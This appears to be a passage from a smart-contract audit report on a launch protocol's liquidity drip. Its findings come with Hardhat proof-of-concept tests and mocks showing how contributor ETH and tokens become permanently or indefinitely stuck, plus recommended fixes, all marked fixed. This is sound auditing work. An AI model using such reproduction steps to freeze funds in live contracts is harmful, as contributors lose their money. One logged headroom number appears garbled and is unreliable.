PoC	`test/audit/L19DripLockMaturity.test.ts` + `contracts/mocks/audit/MockSpotRatioDripPoolFactory.sol` (passes)

What's wrong

A drip program has no end date. Once its 30-day schedule is over it stays open until all its ETH is spent. The creator's LP position, which the drip adds to, has a fixed unlock date at least 12 months out, and after that date anyone can release it. Once the position is released, the factory refuses every new drip addition. If the drip is still unfinished at that point, its remaining ETH and project tokens can never be used, withdrawn or redirected, even after whatever stalled it is fixed.

How (mechanism)

`_availableETH` caps vesting at `TOTAL_INTERVALS` but never deactivates the program (:469-479). It only completes when `spentETH == totalETH`. `LaunchPoolFactory.releaseLiquidity` is permissionless once `block.timestamp >= unlockTime`, and sets **`released = true`** for good (:575-583). `addDripLiquidity` requires `!launchPool.released` (:527). That revert unwinds the entire `executeProgram`, including the PLAZM conversion and the `spentETH` / `totalPendingETH` updates, so no tranche can ever succeed again. The drip has no cancel, withdraw or migrate function. The shortest finite commitment is `MIN_LP_LOCK_DURATION = 365 days` after `endTime` (`LaunchEconomicsPolicy.sol:18`, :296-307), so the program has to stay unfinished for roughly 11 months after its schedule ends. Permanent LP locks never release and are not affected.

Impact

- **Contributors / creator:** the drip's unspent ETH (part of the raise) and its project-token allocation are locked in the drip forever. In the PoC, half the program is stranded: **15 of 30 ETH and 15 of 30 drip tokens**. In the worst case this is the whole drip, which is 5–25% of the launch's LP ETH.
- **Interaction with M-11 (#32):** a post-completion `deployResidual` would also revert once the position is released. Any residual or recovery path needs a fallback that doesn't depend on `addDripLiquidity`.
- **Scope note:** the program must still be unfinished about 335 days after its schedule ended. Once everything has vested, `executeProgram` is permissionless, has no cooldown and pays a 1% keeper incentive, so a working route drains it in `remaining / capacity` calls. Realistic ways to stay unfinished that long:
- the rounding stall in **L-18 (#31)**, where the ETH is already stuck and this removes the "raise capacity later" escape;
- a drip pause lasting about 11 months, which is a trusted-admin action;
- the PLAZM route being unusable (zero capacity, a TWAP guard failure, or persistent spot/TWAP deviation) for most of a year.

Severity rationale: - **Impact High:** the lock is permanent, and the assets are the raise's drip ETH and tokens. - **Likelihood Low:** every path to this state needs an already-filed bug, a trusted-admin action or an extreme external market condition persisting for about 11 months. These are multiple low-probability preconditions (UP-5). - That puts it at **Low**. It hardens the drip's end-of-life handling rather than adding a new way in.

Proof of Concept

The drip's real `executeProgram` is driven against `MockSpotRatioDripPoolFactory`. The mock copies `LaunchPoolFactory`'s one-shot permissionless `releaseLiquidity` after `unlockTime` and its `!released` check in `addDripLiquidity` (same revert string). The test runs a 30 ETH drip with a 365-day LP lock: 1. Half the ETH converts at day 15. 2. The route then goes unsafe (capacity 0), so `executeProgram` reverts with `PlazmDrip: unsafe route` past the 30-day end. The program stays `active`. 3. **Control (snapshot):** restoring the route before the unlock completes the program. 4. At `unlockTime` an outsider releases the LP. With the route restored, every call reverts with `Factory: invalid drip pool`, including one a year later. The drip still holds the ETH and tokens, and its ABI has no recovery function.

```
  [L-19] PoC: unfinished drip is bricked once the LP lock matures and is released
      drip ETH locked after release  : 15.0 of 30.0
      drip tokens locked             : 15.0 of 30.0
    ✔ route outage leaves the program unfinished; release at maturity locks the rest forever

  1 passing
```

contracts/mocks/audit/MockSpotRatioDripPoolFactory.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "../../types/LaunchTypes.sol";

/// Audit-only drip pool factory. `addDripLiquidity` mirrors LaunchPoolFactory:
/// it pulls both budgets, adds liquidity at the current spot ratio (the scarcer
/// side is fully used, the other side only up to the ratio) and returns the
/// excess to the caller. `counterPerToken` is the spot price in counter/token (1e18).
contract MockSpotRatioDripPoolFactory {
    using SafeERC20 for IERC20;
```

```
    address public immutable launchManager;
    address public liquidityDrip;
    uint256 public counterPerToken = 1e18;
    uint128 public totalLiquidity;
    mapping(uint256 => uint64) public unlockTime;
    mapping(uint256 => bool) public released;

    constructor(address manager) { launchManager = manager; }
    function setLiquidityDrip(address drip) external { liquidityDrip = drip; }
    function setCounterPerToken(uint256 price) external { counterPerToken = price; }

    function createHookedPoolWithCounter(
        uint256 launchId, address, address, LaunchMode, address, uint256, uint256, bytes calldata
    ) external pure returns (bytes32) {
        return bytes32(launchId + 1);
    }

    function seedLiquidityWithCounter(
        uint256 launchId, address, address, uint256 tokenAmount, uint256 counterAmount, address, uint64 unlockTime_
    ) external returns (uint128 liquidity) {
        unlockTime[launchId] = unlockTime_;
        liquidity = uint128(Math.min(tokenAmount, counterAmount));
        totalLiquidity += liquidity;
    }

    /// Mirrors LaunchPoolFactory.releaseLiquidity: permissionless once unlocked, one-shot.
    function releaseLiquidity(uint256 launchId) external {
        require(!released[launchId], "Factory: liquidity already released");
        require(block.timestamp >= unlockTime[launchId], "Factory: liquidity locked");
        released[launchId] = true;
    }

    function addDripLiquidity(
        uint256 launchId, address token, address counterAsset, uint256 tokenAmount, uint256 counterAmount
    ) external returns (uint128 liquidity, uint256 tokenUsed, uint256 counterUsed) {
        // Mirrors LaunchPoolFactory.sol:527 (`!launchPool.released`).
        require(!released[launchId], "Factory: invalid drip pool");
        IERC20(token).safeTransferFrom(msg.sender, address(this), tokenAmount);
        IERC20(counterAsset).safeTransferFrom(msg.sender, address(this), counterAmount);
        uint256 tokenForCounter = Math.mulDiv(counterAmount, 1e18, counterPerToken);
        tokenUsed = Math.min(tokenAmount, tokenForCounter);
        counterUsed = Math.min(counterAmount, Math.mulDiv(tokenUsed, counterPerToken, 1e18));
        if (tokenAmount > tokenUsed) IERC20(token).safeTransfer(msg.sender, tokenAmount - tokenUsed);
        if (counterAmount > counterUsed) {
            IERC20(counterAsset).safeTransfer(msg.sender, counterAmount - counterUsed);
        }
        liquidity = uint128(Math.min(tokenUsed, counterUsed));
        totalLiquidity += liquidity;
    }
}
```

test/audit/L19DripLockMaturity.test.ts

```
import { expect } from "chai";
import { ethers, network } from "hardhat";
import { time } from "@nomicfoundation/hardhat-network-helpers";

// [L-19] A drip program never expires. If it is still unfinished when the
// finite LP lock matures, anyone can call releaseLiquidity(), after which
// addDripLiquidity() rejects every tranche (`!launchPool.released`). The whole
// executeProgram rolls back, so the remaining ETH and project tokens stay in
// the drip with no cancel, withdraw or migrate path, even after the route recovers.

const PLAZM = "0xA1FBB38bF486b97108aA87E92008187CA06998f6";
const ROUTE = ethers.id("global Built-on-Plazm drip route");
const DAY = 24 * 60 * 60;
const E = (v: string) => ethers.parseEther(v);
```

```
describe("[L-19] PoC: unfinished drip is bricked once the LP lock matures and is released", function () {
  async function fixture() {
    const [, manager, protocolAuthority, guardian, creator, keeper, outsider] = await ethers.getSigners();
    const tokenTemplate: any = await (await ethers.getContractFactory("MockMintableToken")).deploy("PLAZM", "PLAZM");
    await network.provider.send("hardhat_setCode", [
      PLAZM, await ethers.provider.getCode(await tokenTemplate.getAddress()),
    ]);
    const plazm: any = await ethers.getContractAt("MockMintableToken", PLAZM);
    const token: any = await (await ethers.getContractFactory("MockMintableToken")).deploy("Project", "PROJECT");
    const dependency: any = await (await ethers.getContractFactory("MockConfigurablePlazmDependency")).deploy(PLAZM, ROUTE);
    const poolFactory: any = await (await ethers.getContractFactory("MockSpotRatioDripPoolFactory")).deploy(manager.address);
    const drip: any = await (await ethers.getContractFactory("BuiltOnPlazmLiquidityDrip")).deploy(
      manager.address, PLAZM, await dependency.getAddress(), await dependency.getAddress(),
      await poolFactory.getAddress(), protocolAuthority.address, guardian.address,
    );
    await poolFactory.setLiquidityDrip(await drip.getAddress());
    await token.mint(manager.address, E("40"));
    await plazm.mint(manager.address, E("10"));
    await token.connect(manager).approve(await drip.getAddress(), ethers.MaxUint256);
    await plazm.connect(manager).approve(await drip.getAddress(), ethers.MaxUint256);

    await dependency.configure(E("30"), 1, E("15"), E("15"), ROUTE, true);
    // Shortest finite commitment: 365 days (LaunchEconomicsPolicy.MIN_LP_LOCK_DURATION).
    const unlockTime = (await time.latest()) + 365 * DAY;
    await drip.connect(manager).initializeProject(0, {
      token: await token.getAddress(),
      totalTokenAmount: E("40"),
      totalLiquidityETH: E("40"),
      initialLiquidityETH: E("10"),
      initialPlazmAmount: E("10"),
      creator: creator.address,
      unlockTime,
      projectDevelopmentRecipient: creator.address,
      buyBurnVault: outsider.address,
      liquidityVault: outsider.address,
      routeHash: ROUTE,
    }, { value: E("30") });
    return { keeper, outsider, token, dependency, poolFactory, drip, unlockTime };
  }

  it("route outage leaves the program unfinished; release at maturity locks the rest forever", async function () {
    const f = await fixture();
    const dripAddr = await f.drip.getAddress();
    const program = await f.drip.getProgram(0);

    // Day 15: one tranche executes normally.
    await time.increaseTo(Number(program.startsAt) + 15 * DAY);
    await f.drip.connect(f.keeper).executeProgram(0);
    expect((await f.drip.getProgram(0)).spentETH).to.equal(E("15"));

    // The route becomes unsafe (capacity 0) and stays that way past the schedule.
    await f.dependency.configure(0, 1, E("15"), E("15"), ROUTE, true);
    await time.increaseTo(Number(program.endsAt) + DAY);
    await expect(f.drip.connect(f.keeper).executeProgram(0)).to.be.revertedWith("PlazmDrip: unsafe route");
    expect(await f.drip.availableETH(0)).to.equal(E("15"));
    expect((await f.drip.getProgram(0)).active).to.equal(true); // schedule over, program never expires

    // Control: if the route recovers before the LP unlock, the program finishes.
    const snap = await network.provider.send("evm_snapshot");
    await time.increaseTo(f.unlockTime - DAY);
    await f.dependency.configure(E("30"), 1, E("15"), E("15"), ROUTE, true);
    await f.drip.connect(f.keeper).executeProgram(0);
    expect((await f.drip.getProgram(0)).completed).to.equal(true);
    await network.provider.send("evm_revert", [snap]);

    // LP lock matures. Any address releases the position (one-shot).
    await time.increaseTo(f.unlockTime);
    await f.poolFactory.connect(f.outsider).releaseLiquidity(0);
    expect(await f.poolFactory.released(0)).to.equal(true);
```

```
    // Route recovers, but every tranche now reverts in the factory and rolls back.
    await f.dependency.configure(E("30"), 1, E("15"), E("15"), ROUTE, true);
    await expect(f.drip.connect(f.keeper).executeProgram(0)).to.be.revertedWith("Factory: invalid drip pool");
    await time.increase(365 * DAY);
    await expect(f.drip.connect(f.keeper).executeProgram(0)).to.be.revertedWith("Factory: invalid drip pool");

    const stuck = await f.drip.getProgram(0);
    expect(stuck.active).to.equal(true);
    expect(stuck.spentETH).to.equal(E("15"));
    expect(await ethers.provider.getBalance(dripAddr)).to.equal(E("15"));
    expect(await f.token.balanceOf(dripAddr)).to.equal(stuck.totalTokens - stuck.tokenUsed);
    expect(stuck.totalTokens - stuck.tokenUsed).to.equal(E("15"));

    // No cancel, withdraw, migrate or rescue entry point exists.
    const names = f.drip.interface.fragments
      .filter((x: any) => x.type === "function").map((x: any) => x.name);
    expect(names.filter((n: string) => /withdraw|rescue|recover|cancel|sweep|refund|migrat/i.test(n)))
      .to.deep.equal([]);

    console.log("      drip ETH locked after release  :", ethers.formatEther(await ethers.provider.getBalance(dripAddr)), "of",
ethers.formatEther(stuck.totalETH));
    console.log("      drip tokens locked             :", ethers.formatEther(stuck.totalTokens - stuck.tokenUsed), "of",
ethers.formatEther(stuck.totalTokens));
  });
});
```

Recommendation

1. **Add a permissionless recovery path that unlocks at LP maturity or release.** It settles whatever the drip still holds for the launch to recipients recorded at initialization, never to an administrator. It must not delay the agreed LP unlock: release stays permissionless at `unlockTime`, and recovery simply becomes available once `released` is true or `unlockTime` has passed.

```
function recoverMatured(uint256 launchId) external nonReentrant {
    Program storage program = _programs[launchId];
    require(program.token != address(0) && !program.recovered, "PlazmDrip: nothing to recover");
    require(block.timestamp >= _lpUnlockTime[launchId], "PlazmDrip: LP still locked");
    program.recovered = true;
    program.active = false;
    uint256 eth = program.totalETH - program.spentETH;
    uint256 tokens = program.totalTokens - program.tokenUsed;
    uint256 plazmLeft = program.plazmPurchased - program.plazmUsed;
    program.spentETH = program.totalETH;
    totalPendingETH -= eth;
    // Recorded at initializeProject: e.g. ETH to the liquidity vault, tokens to the creator / buy-burn vault.
    _payRecorded(launchId, eth, tokens, plazmLeft);
}
```

1. **Record `unlockTime` and the recovery recipients in `initializeProject`**, and allow `recoverMatured` for completed programs too. That covers the residual case in M-11 (#32) once the position has been released.
2. **Apply the same change to `BuildAssetLiquidityDrip`**, which reaches the same `!released` check through `addDripLiquidity`.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

- `recoverMatured` works once `unlockTime` has passed, released or not, and while paused. It pays unspent ETH, project tokens and counter asset to the recorded `lpRecipient`; ETH a recipient rejects is held in `deferredETH` for `payDeferredETH`.
- The drip's `unlockTime` is the LaunchManager's `effectiveLpUnlock`, the same value the factory LP lock uses, and permanent locks use `type(uint64).max` = `PERMANENT_LOCK`. With `MIN_LP_LOCK_DURATION = 365 days`, recovery can't cut a 30-day drip short.

Note (informational, documented): a permanent-lock program whose route dies for good has no exit for its unspent ETH.

[L-04] Drip capacity check counts finite OTC inventory as recurring per-interval capacity

Severity: Low
Source finding: `L-20`
Source issue: #34 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Medium, Likelihood: Low)
Confidence	High (code confirmed, Hardhat PoC on the composed local protocol passes)
Location	`BuiltOnPlazmLiquidityDrip.sol:validateProgramCapacity` (:193-201) and `initializeProject` (:237-245); `OTCBuildAssetAdapter.sol:maxSafeInput` / `maxSafeEthInput` (:99-103, :134); same check in `BuildAssetLiquidityDrip.sol` (:175-193, :237) when the route guard is an OTC adapter
Class	OracleCompleteness (V0)
Sources	External finding, verified against commit `213a6db` and `scripts/deploy.ts:739-761`
PoC	`test/audit/L20DripOTCCapacity.test.ts` (passes)

What's wrong

Before a Built-on-Plazm launch commits its raise to a 30-day drip, the drip checks that the PLAZM route can absorb one average 10-minute tranche. In production that capacity figure comes from the OTC adapter, which adds the whole current OTC order book on top of the DEX capacity. A one-off stock of OTC asks is treated as if it renewed every interval. With the DEX route dead, a few thousandths of an ETH of leftover asks are enough to approve a program thousands of times larger. Once those asks are consumed the drip stops with almost all its ETH pending, and it has no way to return it.

How (mechanism)

`scripts/deploy.ts:747-761` passes `PlazmOTCDripAdapter` as both the drip's `executor` and its `priceGuard`. `OTCBuildAssetAdapter.maxSafeEthInput` returns `dexCapacity + _otcCapacity` (:99-103), and `_otcCapacity` adds up every live, priceable ask in the shared `TokenOTC` book (:105-132). `validateProgramCapacity` (called by `PlazmLaunchRouter` at :250 and :295) and `initializeProject` both require only **`ceilDiv(program, 4_320) <= capacity`**. The adapter already provides the correct figure: `_stagedCapacity` computes `dex × chunks + otc` and counts OTC once (:162-169), and the router uses it for the initial leg (`PlazmLaunchRouter.sol:244-247`). The drip doesn't. The book is also shared with `PlazmOTCInitialAdapter`, so the settlement consumes the same asks first. Once the inventory is gone, `maxSafeEthInput` returns 0 and `executeProgram` reverts with `PlazmDrip: unsafe route` (:330-331).

Impact

- **Contributors:** with a correct check, `startSettlement` would revert and the launch would fall into the cancel-and-refund path. With this check, the launch finalizes and the drip ETH (5–25% of LP ETH) is frozen with no withdraw or cancel path. In the PoC, **9.497 of 9.5 ETH (>99.9%)** is pending after the inventory runs out.
- **Duration:** the freeze lasts until DEX capacity or new OTC asks return. If that is after the LP unlock, it becomes permanent through L-19 (#33).
- **Scope note:** this only freezes funds when the drip route's DEX capacity is **exactly zero** while OTC asks cover the entire initial leg plus about 1/4,320 of the drip. With any non-zero DEX capacity, `executeProgram` has no cooldown once ETH has vested, so the backlog drains and the program just runs past 30 days. The OTC leftover needed is tiny (0.003 ETH for a 9.5 ETH drip in the PoC), so the dead DEX route is the binding condition.

Severity rationale: - **Impact Medium:** contributor ETH that should have been refunded is frozen indefinitely, and becomes permanently lost only together with L-19. - **Likelihood Low:** it needs a dead PLAZM DEX route at launch time while OTC asks happen to cover the full initial leg. - That gives **Low**.

Proof of Concept

The test uses the repo's composed local protocol (`fullProtocolFixture(false, true)`, OTC routing on). That means the real `LaunchManager`, `PlazmLaunchRouter`, `TokenOTC`, both `OTCBuildAssetAdapter`s and `BuiltOnPlazmLiquidityDrip`, with mocked V3 pools. 1. Both V3 pools are set to liquidity 1, so DEX capacity is 0. 2. One OTC ask covers the 28.5 ETH initial leg plus **0.003 ETH**. 3. A 100 ETH raise with a 25% drip finalizes: the settlement fills from OTC and the 9.5 ETH program starts. 4. At the start, the drip's capacity is 0.003 ETH, which is at least the 0.0022 ETH average interval, so both checks pass. The adapter's own `stagedCapacity(…, 4320)`, which counts OTC once, is also only 0.003 ETH, far below 9.5 ETH. 5. Keepers consume the inventory in 8 calls. The next call reverts with `PlazmDrip: unsafe route`, leaving 9.497 ETH pending. The program stays active, and its ABI has no recovery function.

```
  [L-20] PoC: drip capacity check counts finite OTC inventory as recurring
      drip program                 : 9.5 ETH
      required avg per interval    : 0.002199074074074075 ETH
      drip capacity at start (OTC) : 0.003000001 ETH (DEX 0)
      stagedCapacity(dex*4320 + OTC): 0.003000001 ETH
      executions before stall      : 8
      ETH pending, route 'unsafe'  : 9.49696969696969697 ETH
    ✔ finalizes a 9.5 ETH drip on 0.003 ETH of OTC inventory and zero DEX, then stalls

  1 passing
```

test/audit/L20DripOTCCapacity.test.ts

```
import { expect } from "chai";
import { ethers } from "hardhat";
import { loadFixture, time } from "@nomicfoundation/hardhat-network-helpers";
import { fullProtocolFixture, launchConfig, launchTerms } from "../../scripts/lib/local-protocol";

// [L-20] The drip's capacity checks compare one average interval
// (program / 4,320) against OTCBuildAssetAdapter.maxSafeEthInput, which is DEX
// capacity PLUS the whole OTC book. With zero DEX capacity, a few thousandths of
// an ETH of leftover OTC asks "prove" a 30-day program is fundable. After that
// inventory is consumed the drip reverts `unsafe route` with nearly all its ETH
// pending and no exit.

const eth = ethers.parseEther;
const INTERVALS = 4_320n;
```

```
describe("[L-20] PoC: drip capacity check counts finite OTC inventory as recurring", function () {
  async function composedFixture() { return fullProtocolFixture(false, true); }

  it("finalizes a 9.5 ETH drip on 0.003 ETH of OTC inventory and zero DEX, then stalls", async function () {
    const f: any = await loadFixture(composedFixture);
    const router = f.plazmLaunchRouter;
    const drip = f.plazmLiquidityDrip;
    const initialAdapter = f.plazmOTCInitialAdapter;
    const dripAdapter = f.plazmOTCDripAdapter;
    const raised = eth("100");
    const liquidity = raised * 9500n / 10000n * 4000n / 10000n; // 38 ETH LP
    const dripBps = 2500n;
    const dripETH = liquidity * dripBps / 10000n;               // 9.5 ETH drip
    const initialETH = liquidity - dripETH;                     // 28.5 ETH initial leg
    const perInterval = (dripETH + INTERVALS - 1n) / INTERVALS;  // ~0.0022 ETH

    // Zero DEX capacity on the PLAZM route (both adapters share the same guard).
    const first = await ethers.getContractAt("MockUniswapV3OraclePool", await f.plazmGuard.wethIntermediatePool());
    const second = await ethers.getContractAt("MockUniswapV3OraclePool", await f.plazmGuard.intermediatePlazmPool());
    await first.setState(1, 200, 200);
    await second.setState(1, -200, -200);
    expect(await initialAdapter.dexCapacity(300, 1800)).to.equal(0);
    expect(await dripAdapter.dexCapacity(50, 1800)).to.equal(0);

    // One OTC ask, shared by both adapters: the initial leg plus a sliver.
    const otcBudget = initialETH + eth("0.003");
    const supply = (await initialAdapter.quote(otcBudget, 1800)) * 102n / 100n + 1n;
    await f.plazm.mint(f.creator.address, supply);
    await f.plazm.connect(f.creator).approve(await f.tokenOTC.getAddress(), supply);
    await f.tokenOTC.connect(f.creator).createOrder(await f.plazm.getAddress(), await f.weth.getAddress(),
      supply, otcBudget, (await time.latest()) + 40 * 86400, 0);

    const config = await launchConfig(2, "OTC Sliver", "SLVR", {
      yieldRecipient: f.creator.address, softCap: raised, hardCap: raised, maxContribution: raised,
    });
    const terms = launchTerms({
      liquidityDripBps: Number(dripBps), maxSwapSlippageBps: 150, executionCooldown: 21600,
      routeHash: await router.approvedRouteHash(),
    });
    await f.manager.connect(f.creator).createLaunchWithTerms(config, terms);
    await time.increaseTo(config.startTime);
    await f.manager.connect(f.buyer).contribute(0, { value: raised });

    // Settlement fills the initial leg from OTC; the launch finalizes and the
    // drip program starts with only the OTC sliver behind it.
    const settlement = await router.getSettlement(0);
    expect(settlement.claimed).to.equal(true);
    expect((await f.manager.getLaunch(0)).status).to.equal(1);
    const program = await drip.getProgram(0);
    expect(program.totalETH).to.equal(dripETH);
    const capacityAtStart: bigint = await dripAdapter.maxSafeEthInput(50, 1800);
    expect(capacityAtStart).to.be.gte(perInterval);           // why both checks passed
    expect(capacityAtStart).to.be.lt(dripETH / 1000n);        // < 0.1% of the program
    // The adapter's own once-counted figure (dex x 4,320 + OTC) shows the program is unfundable.
    const staged: bigint = await dripAdapter.stagedCapacity(50, 1800, INTERVALS);
    expect(staged).to.equal(capacityAtStart);
    expect(staged).to.be.lt(dripETH);

    // Drain: keepers execute until the OTC sliver is gone.
    await time.increaseTo(Number(program.endsAt));
    let calls = 0;
    while ((await dripAdapter.maxSafeEthInput(50, 1800)) > 0n && calls < 20) {
      try { await drip.connect(f.keeper).executeProgram(0); } catch { break; }
      calls++;
    }
    expect(calls).to.be.gte(1);
    expect(await dripAdapter.maxSafeEthInput(50, 1800)).to.equal(0);
    await expect(drip.connect(f.keeper).executeProgram(0)).to.be.revertedWith("PlazmDrip: unsafe route");
```

```
    const stuck = await drip.getProgram(0);
    const pending = stuck.totalETH - stuck.spentETH;
    expect(stuck.active).to.equal(true);
    expect(stuck.completed).to.equal(false);
    expect(pending).to.be.gt(stuck.totalETH * 999n / 1000n);
    expect(await ethers.provider.getBalance(await drip.getAddress())).to.be.gte(pending);

    const names = drip.interface.fragments.filter((x: any) => x.type === "function").map((x: any) => x.name);
    expect(names.filter((n: string) => /withdraw|rescue|recover|cancel|sweep|refund|migrat/i.test(n))).to.deep.equal([]);

    console.log("      drip program                :", ethers.formatEther(dripETH), "ETH");
    console.log("      required avg per interval   :", ethers.formatEther(perInterval), "ETH");
    console.log("      drip capacity at start (OTC) :", ethers.formatEther(capacityAtStart), "ETH (DEX 0)");
    console.log("      stagedCapacity(dex*4320 + OTC):", ethers.formatEther(staged), "ETH");
    console.log("      executions before stall     :", calls);
    console.log("      ETH pending, route 'unsafe'  :", ethers.formatEther(pending), "ETH");
  });
});
```

Recommendation

1. **Validate the drip against recurring DEX capacity, counting OTC once.** Require a non-zero recurring route and check the whole program against the adapter's once-counted figure, in both `validateProgramCapacity` and `initializeProject`:

```
interface IStagedCapacity {
    function dexCapacity(uint16 impact, uint32 window) external view returns (uint256);
    function stagedCapacity(uint16 impact, uint32 window, uint256 chunks) external view returns (uint256);
}

uint256 dex = IStagedCapacity(address(priceGuard)).dexCapacity(MAX_PRICE_IMPACT_BPS, TWAP_WINDOW);
uint256 staged = IStagedCapacity(address(priceGuard)).stagedCapacity(MAX_PRICE_IMPACT_BPS, TWAP_WINDOW, TOTAL_INTERVALS);
require(dex > 0, "PlazmDrip: no recurring route");
require(Math.ceilDiv(programETH, TOTAL_INTERVALS) <= dex || programETH <= staged,
    "PlazmDrip: program exceeds 30-day capacity");
```

For example, fall back to `BuiltRouteCapacity.staged` when the guard isn't an OTC adapter. If the protocol wants to keep OTC-only drips, the OTC inventory relied on has to be reserved for the drip and not shared with the settlement leg.

1. **Apply the same change to `BuildAssetLiquidityDrip`**, which runs the identical per-interval check against `route.buyAndAddGuard.maxSafeInput` (:186-192, :237).
2. **Pair it with the recovery path from L-19 (#33),** so a drip whose route dies after launch can still return its pending ETH.

Status

Fixed. Latest reviewer evidence ↗

Reviewed at `a4dee32`: fixed.

- `_validateProgramCapacity` uses the guard's `dexCapacity` as the recurring leg, requires it to be nonzero ("no recurring route"), and counts the OTC book once against the program total.
- Our zero-DEX / OTC-sliver PoC is now rejected with "PlazmDrip: no recurring route". Mirrored in `BuildAssetLiquidityDrip`.

[L-05] Built-cap validation does not reserve V4 per-tick liquidity for drip additions

Severity: Low
Source finding: `L-21`
Source issue: #35 ↗
Audited baseline: `213a6dba`
Remediation snapshot: `a4dee324`

Description

Severity	Low (Impact: Medium, Likelihood: Low)
Confidence	High for the missing check (validation PoC passes); execution-side revert traced through v4-core `Pool.modifyLiquidity` (the repo's `MockV4PoolManager` does not model the per-tick cap)
Location	`LaunchEconomicsPolicy.sol:_validateBuiltCap` (:197-226); `LaunchPoolFactory.sol:_validateSeedBudget` (`liquidity <= int128.max` only) and `addDripLiquidity` (:513-); same boundary ticks used by `BuildAssetLiquidityDrip` launches
Class	TickBoundaryMath (V0)
Sources	External finding, verified against commit `213a6db`; PLAZM supply read live on Base
PoC	`test/audit/L21DripTickCapacity.test.ts` + `contracts/mocks/audit/V4TickCapProbe.sol` (passes)

What's wrong

Uniswap V4 limits how much liquidity can reference a single tick. Every launch's initial seed and every later drip addition go into the same two full-range boundary ticks. Launch validation only checks that the initial seed fits, and never reserves room at those ticks for the drip that follows. A launch can finalize with a seed that nearly fills the limit. Drip tranches then revert in the pool manager, and the drip's ETH stays pending.

How (mechanism)

`_validateBuiltCap` sizes the initial leg and calls `validateSeedBudgetForPair` at the quote and both slippage endpoints. `_validateSeedBudget` only requires `liquidity <= uint128(type(int128).max)`. V4's real bound is `Pool.tickSpacingToMaxLiquidityPerTick = type(uint128).max / numTicks`, about **1.15e34** at the default `V4_TICK_SPACING = 60` (`scripts/lib/preflight.ts:337`). On every add, `Pool.modifyLiquidity` reverts with **`TickLiquidityOverflow(tick)`** when `liquidityGross` at `tickLower` or `tickUpper` exceeds that bound. The seed and `addDripLiquidity` both use `minUsableTick` / `maxUsableTick`. `BackedFundFeeHook.beforeAddLiquidity` (:289-297) reserves those ticks for protocol liquidity, so outsiders can't fill them, but the protocol's own seed can. Once `seedL + Σ dripL > maxLiquidityPerTick`, the drip tranche reverts inside `addDripLiquidity`. That unwinds the whole `executeProgram`, and every later, larger attempt fails the same way.

Impact

- **Contributors:** the remaining drip ETH (5–25% of LP ETH) and drip tokens stay pending in the drip. There is no exit until L-19's recovery path exists. Through L-19 (#33), the loss becomes permanent at LP unlock.
- **Reachability:** full-range liquidity is about `sqrt(tokenRaw × counterRaw)`, so the limit needs an extreme raw supply. PLAZM's live supply on Base is **22.07M PLAZM (2.2e25 raw)**. The project-token amount needed in the LP is:
- **~6e24 tokens** even if all PLAZM in existence were in the pool;
- **~1.1e25 tokens** with 10M PLAZM (the PoC);
- **~1.3e27 tokens** with 100k PLAZM.

Real launches use roughly 1e9–1e15 tokens. `LaunchToken` mints any `totalSupply`, so this is reachable only through a creator-chosen degenerate supply. For Build-on-Asset launches, a counter asset with a larger raw supply lowers the requirement proportionally. - **Scope note:** if the seed itself exceeds the limit, finalization reverts and the launch falls into the cancel-and-refund path, which is harmless. Funds are only frozen in the band `seedL ≤ cap < seedL + dripL`.

Severity rationale: - **Impact Medium:** contributors' drip ETH is frozen, and becomes permanently lost only together with L-19. - **Likelihood Low:** it needs a project-token supply in the septillions, chosen by the creator (who gains nothing), and a seed landing inside the narrow band. - That gives **Low**. Code4rena or Sherlock judges would probably treat it as input validation (QA).

Proof of Concept

`V4TickCapProbe` reproduces v4-core's `tickSpacingToMaxLiquidityPerTick`, and computes full-range liquidity with the repo's own `TickMathLib` / `LiquidityAmountsLib` and the factory's boundary ticks. The test: 1. Deploys the real `LaunchPoolFactory` through `deployV4Hook` (tick spacing 60). 2. Sizes a seed of 10M PLAZM plus about 1.07e25 project tokens to 89% of the per-tick limit, then adds a 25% drip at the same price. 3. Calls `validateSeedBudgetForPair`, the check `_validateBuiltCap` relies on. It accepts the seed and even the **entire** LP budget (seed plus drip), because it never compares against `maxLiquidityPerTick`. 4. Shows the boundary headroom left after the seed covers only 33% of the drip's liquidity. On real v4-core, the tranche that crosses the limit reverts with `TickLiquidityOverflow(minUsableTick)`.

```
  [L-21] PoC: seed validation ignores V4 per-tick liquidity reserved for the drip
      maxLiquidityPerTick (ts=60)  : 11505743598341114571880798222544994
      seed liquidity               : 10355169238507003114674155774329954 (89% of cap)
      drip liquidity (25% drip)    : 3451723079502334371558051924776651
      boundary headroom for drip   : 11505743598341114572066424482150 40 (33% of drip)
      project tokens in seed       : 10722952995812170675792949
      PLAZM in seed                : 10000000 of 22070372 total
    ✔ accepts a seed + 25% drip whose combined boundary liquidity exceeds maxLiquidityPerTick

  1 passing
```

Execution-side reference (v4-core `Pool.modifyLiquidity`):

```
if (liquidityDelta > 0) {
    uint128 maxLiquidityPerTick = tickSpacingToMaxLiquidityPerTick(params.tickSpacing);
    if (state.liquidityGrossAfterLower > maxLiquidityPerTick) TickLiquidityOverflow.selector.revertWith(tickLower);
    if (state.liquidityGrossAfterUpper > maxLiquidityPerTick) TickLiquidityOverflow.selector.revertWith(tickUpper);
}
```

contracts/mocks/audit/V4TickCapProbe.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;
```

```
import "../../interfaces/v4/V4LiquidityMath.sol";

/// Audit-only probe. `maxLiquidityPerTick` reproduces v4-core
/// `Pool.tickSpacingToMaxLiquidityPerTick`, which `Pool.updateTick` enforces with
/// `TickLiquidityOverflow(tick)`. `fullRangeLiquidity` uses the same libraries
/// and boundary ticks as LaunchPoolFactory's seed and drip additions.
contract V4TickCapProbe {
    function maxLiquidityPerTick(int24 tickSpacing) public pure returns (uint128) {
        int24 minTick = (TickMathLib.MIN_TICK / tickSpacing) * tickSpacing;
        int24 maxTick = (TickMathLib.MAX_TICK / tickSpacing) * tickSpacing;
        uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;
        return type(uint128).max / numTicks;
    }

    function fullRangeLiquidity(int24 tickSpacing, uint160 price, uint256 amount0, uint256 amount1)
        external pure returns (uint128)
    {
        uint160 lower = TickMathLib.getSqrtRatioAtTick((TickMathLib.MIN_TICK / tickSpacing) * tickSpacing);
